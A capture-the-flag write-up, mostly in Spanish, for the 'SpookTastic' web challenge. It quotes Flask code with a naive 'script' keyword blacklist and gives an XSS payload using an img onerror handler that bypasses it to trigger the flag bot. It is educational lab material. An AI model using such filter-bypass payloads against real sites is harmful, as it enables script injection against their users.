SpookTastic

Challenge Description

On a moonless night, you delve into the dark web to uncover the hacker group “The Cryptic Shadows.” You find an encrypted message guiding you to a web challenge. They claim a cursed amulet, the ‘Amulet of Samhain,’ can unveil their treasures location

Categoria: Web
Dificultad: Muy Fácil

Solution

Nos dan el codigo de la aplicacion. Lo que identificamos es que hay una endpoint para registrar un email.

challenge/app.py
@app.route("/api/register", methods=["POST"])
def register():
    if not request.is_json or not request.json["email"]:
        return abort(400)
    
    if not blacklist_pass(request.json["email"]):
        return abort(401)

    registered_emails.append(request.json["email"])
    Thread(target=start_bot, args=(request.remote_addr,)).start()
    return {"success":True}

Este endpoint recibe un parametro email en formato json y la funcion blacklist_pass verifica que no se encuentre la palabra script.

challenge/app.py
def blacklist_pass(email):
    email = email.lower()

    if "script" in email:
        return False

    return True

Si todo esta correcto manda a llamar la funcion start_bot. Esta funcion cuando detecte que se ejecuto un alert en el navegador mostrara la flag en la pagina principal.

challenge/app.py
try:
        browser.get(f"{HOST}/bot?token={BOT_TOKEN}")

        WebDriverWait(browser, 3).until(EC.alert_is_present())

        alert = browser.switch_to.alert
        alert.accept()
        send_flag(user_ip)

Por lo tanto enviamos el siguiente payload.

{"email":"<img src=x onerror=alert('XSS');>"}

Una vez que enviamos el payload esperamos un momento y obtendremos la flag.